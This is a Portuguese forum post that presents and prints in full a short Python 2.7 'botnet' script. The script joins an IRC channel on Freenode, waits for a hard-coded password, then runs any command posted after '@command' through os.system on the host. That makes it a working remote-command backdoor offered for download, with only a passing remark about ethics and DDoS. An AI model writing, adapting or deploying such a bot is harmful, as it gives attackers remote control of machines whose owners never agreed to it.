Botnet em Python sem segredos!
Publicado por mrxrobot (última atualização em 01/11/2017)
[ Hits: 32.440 ]
Homepage: https://notabug.org/mrxrobot_
Download 1508041489.botnet.py (versão 2)
Há tempos é utilizado por muitos programadores, hackers (pessoal do GNU/Linux) que habitam literalmente a rede Freenode, softwares que desempenham o papel de bot ou comumente chamados botnet para desempenhar diversas tarefas em rede tanto benéficas quando maléficas, entretanto vai do bom senso e da ética discernir o que é "certo" e o que é "errado", como exemplo temos os "DDoS" (Distributed Denial of Service) que se vale dos bots para realizar os ataques.
Esse script possui o conceito básico de como fazer um simples botnet utilizado a linguagem Python na sua versão 2.7, permitindo a execução de comandos no host que estiver rodando o programa botnet.py através do IRC.
Publiquei um artigo de como controlar o Arduíno via IRC, partindo do mesmo princípio deste script:
http://www.vivaolinux.com.br/artigo/Controlando-Arduino-via-IRC
Para facilitar o estudo do código aqui está o link do meu GitHub:
https://github.com/MarcosWarlock/Python/blob/master/botnet.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#############################################
# botnet em python
# por: Marcos Rodrigues de Carvalho
# nickname: warlock
# VOL: www.vivaolinux.com.br/~marcos_warlock
# distribuição Gnu/Linux: Slackware 14.1
#############################################
import socket, os, time
from re import search
#Configuração do servidor IRC
server = 'irc.freenode.net'
porta = 6667
canal = '#testeprogramaboot'
nick = 'controle'
password = 'senha1234'
# Cria o servidor socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, porta))
s.send('NICK %s\r\n' %nick)
s.send('USER ' + nick + ' ' + nick + ' ' + nick + ' .:\n')
s.send('Join %s\r\n' %canal)
time.sleep(2)
print (s.recv(1024))
#Verifica o que é digitado no canal
# Se for digitado "@ligar + senha", o status da variável teste passa para True
# Se não o status da variável permanece False.
teste = False
while teste != True:
msg = s.recv(5000)
print (msg)
if msg[0:4] == 'PING':
s.send(msg.replace('PING', 'PONG'))
if search('@ligar %s' %password, msg):
teste = True
s.send('PRIVMSG %s : Conectado com sucesso!\r\n' %canal)
# Verifica o que é digitado no canal
# Se for digitado "@command + comando", o programa executa o comando informado no
# servidor que está rodando o botnet
# EXEMPLO: @command clear
# EXPLICAÇÃO: Será executado o comando clear que limpará a tela.
while True:
msg = s.recv(5000)
print (msg)
if msg[0:4] == 'PING':
s.send(msg.replace('PING', 'PONG'))
if search('@command', msg):
msg = msg.split('@command')
msg = msg[1].split('\r\n')
os.system(msg[0])
s.send('PRIVMSG %s : Comando [ %s ] executado com sucesso!\r\n' %(canal, str(msg[0])))
Resolução de problemas por meio de buscas - Labirinto (Inteligência Artificial)
Script em Python com várias funções matemáticas [iniciante]
Monitorando o Preço do Bitcoin ou sua Cripto Favorita em Tempo Real com um Widget Flutuante
IA Turbina o Desktop Linux enquanto distros renovam forças
Como extrair chaves TOTP 2FA a partir de QRCODE (Google Authenticator)
Como montar um servidor de backup no linux
Trazendo de volta o Serviços em Segundo Plano no Plasma6
Ativando e usando "zoom" no ambiente Cinnamon
Vídeo Nostálgico de Instalação do Conectiva Linux 9
Como realizar um ataque de força bruta para desobrir senhas?
780 mil usuários do Janelas baIxaram Linux em um mês (4)
Servidor para arquivos e banco de dados (2)
Atualizei meu ubuntu e desliguei e ele não inicia corretamente (12)









